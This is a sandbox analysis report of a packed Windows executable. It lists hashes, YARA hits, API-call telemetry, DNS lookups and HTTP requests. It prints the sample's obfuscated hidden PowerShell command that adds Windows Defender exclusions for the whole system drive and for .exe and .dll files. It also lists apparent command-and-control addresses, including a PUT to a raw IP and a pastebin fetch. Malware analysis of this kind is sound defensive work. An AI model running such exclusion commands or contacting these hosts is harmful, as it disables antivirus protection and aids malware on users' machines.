Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 18, 2023, 6:05 p.m.	Aug. 18, 2023, 6:08 p.m.

Size	2.2MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`b78141a544759e1a07740aa28b35584c`
SHA256	`e268b72e92c9d9af52c25f4d7643bd96c84172fadb4e7a300091eb287ee3a35d`
CRC32	`E3096F97`
ssdeep	`49152:k7k4RlhEaqq33pnQkwGEVpLNBGWBgeRa4Wzroa1A6QxY0TafZf7:2EvnkwGEVp5xBgeRa4+oKA6QG02`
PDB Path	C:\A10\hompmdr5\output.pdb
Yara	Malicious_Library_Zero - Malicious_Library OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file PE_Header_Zero - PE File Signature IsPE32 - (no description)

1ds3y.exe "C:\Users\test22\AppData\Local\Temp\1ds3y.exe"
1880
explorer.exe C:\Windows\Explorer.EXE
1236
powershell.exe powershell "Start-Process <#cafhuybsja#> powershell <#cafhuybsja#> -Verb <#cafhuybsja#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
2572
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
  2700

Name	Response	Post-Analysis Lookup
pastebin.com	A 172.67.34.170 A 104.20.67.143 A 104.20.68.143	104.20.67.143
www.microsoft.com	A 23.39.217.133 CNAME www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net CNAME www.microsoft.com-c-3.edgekey.net CNAME e13678.dscb.akamaiedge.net	23.219.33.84
ip-api.com	A 208.95.112.1	208.95.112.1

IP Address	Status	Action
104.20.68.143	Active	Moloch
164.124.101.2	Active	Moloch
185.149.146.118	Active	Moloch
185.159.129.168	Active	Moloch
208.95.112.1	Active	Moloch
23.39.217.133	Active	Moloch
46.29.235.84	Active	Moloch
77.91.77.144	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 18, 2023, 6:06 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 18, 2023, 6:06 p.m.			0	0
IsDebuggerPresent Aug. 18, 2023, 6:06 p.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: + Add-MpPreference <<<< -ExclusionPath $env:SystemDrive -ExclusionExtension .e console_handle: 0x00000053	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: xe, .dll -Force console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Aug. 18, 2023, 6:06 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 86 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418e38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004193f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004193f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004193f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418b78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418b78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418b78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418b78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418b78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418b78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004193f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004193f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004193f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00418ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00419878 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004192f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004192f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5498 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5518 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5518 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5518 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5d98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5d98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5d98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5d98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5d98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 18, 2023, 6:06 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006a5d98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

C:\A10\hompmdr5\output.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 18, 2023, 6:06 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	.textbss
section	.fsVVV
section	.00cfg

The executable uses a known packer (1 event)

packer

Microsoft Visual C++ V8.0 (Debug)

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ Aug. 18, 2023, 6:05 p.m.	stacktrace: 1ds3y+0x61065 @ 0x1161065 1ds3y+0x66039 @ 0x1166039 1ds3y+0x6733c @ 0x116733c RtlSelfRelativeToAbsoluteSD+0x1e8 TpPostWork-0x48 ntdll+0x78449 @ 0x77918449 TpCallbackIndependent+0x527 RtlIsCriticalSectionLockedByThread-0x240 ntdll+0x454f4 @ 0x778e54f4 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.symbol: exception.exception_code: 0xc0000005 exception.address: 0x0 registers.esp: 12712748 registers.edi: 11608064 registers.eax: 940 registers.ebp: 12712764 registers.edx: 2130553844 registers.ebx: 18944 registers.esi: 20185104 registers.ecx: 1616	1	0	0
__exception__ Aug. 18, 2023, 6:05 p.m.	stacktrace: 1ds3y+0x6b3f2 @ 0x116b3f2 1ds3y+0x6942a @ 0x116942a 1ds3y+0x6655e @ 0x116655e BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc0000005 exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 3405956 registers.edi: 3406160 registers.eax: 3405956 registers.ebp: 3406036 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 4464588 registers.ecx: 2	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Aug. 18, 2023, 6:05 p.m.

stacktrace:

1ds3y+0x61065 @ 0x1161065
1ds3y+0x66039 @ 0x1166039
1ds3y+0x6733c @ 0x116733c
RtlSelfRelativeToAbsoluteSD+0x1e8 TpPostWork-0x48 ntdll+0x78449 @ 0x77918449
TpCallbackIndependent+0x527 RtlIsCriticalSectionLockedByThread-0x240 ntdll+0x454f4 @ 0x778e54f4
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.esp: 12712748
registers.edi: 11608064
registers.eax: 940
registers.ebp: 12712764
registers.edx: 2130553844
registers.ebx: 18944
registers.esi: 20185104
registers.ecx: 1616

__exception__

Aug. 18, 2023, 6:05 p.m.

stacktrace:

1ds3y+0x6b3f2 @ 0x116b3f2
1ds3y+0x6942a @ 0x116942a
1ds3y+0x6655e @ 0x116655e
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xc0000005
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 3405956
registers.edi: 3406160
registers.eax: 3405956
registers.ebp: 3406036
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 4464588
registers.ecx: 2

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

PUT http://46.29.235.84/clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys

Performs some HTTP requests (5 events)

request	GET http://www.microsoft.com/
request	GET http://ip-api.com/json/?fields=query,status,countryCode,city,timezone
request	GET http://pastebin.com/raw/r0KhEEzi
request	PUT http://46.29.235.84/clpr/OWUsN2UsODMsOWIsOWUsODIsOTAsOTEsNjQsN2Ys
request	GET https://pastebin.com/raw/r0KhEEzi

Allocates read-write-execute memory (usually to unpack itself) (50 out of 307 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 1880 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01344000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:05 p.m.	process_identifier: 1880 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76bd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x756f1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74761000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c91000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73411000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73da1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f92000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02790000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02940000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e24000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e61000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e62000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02941000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02942000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02507000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c61000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02505000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 6:06 p.m.	process_identifier: 2572 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x67aa1000 process_handle: 0xffffffff	1
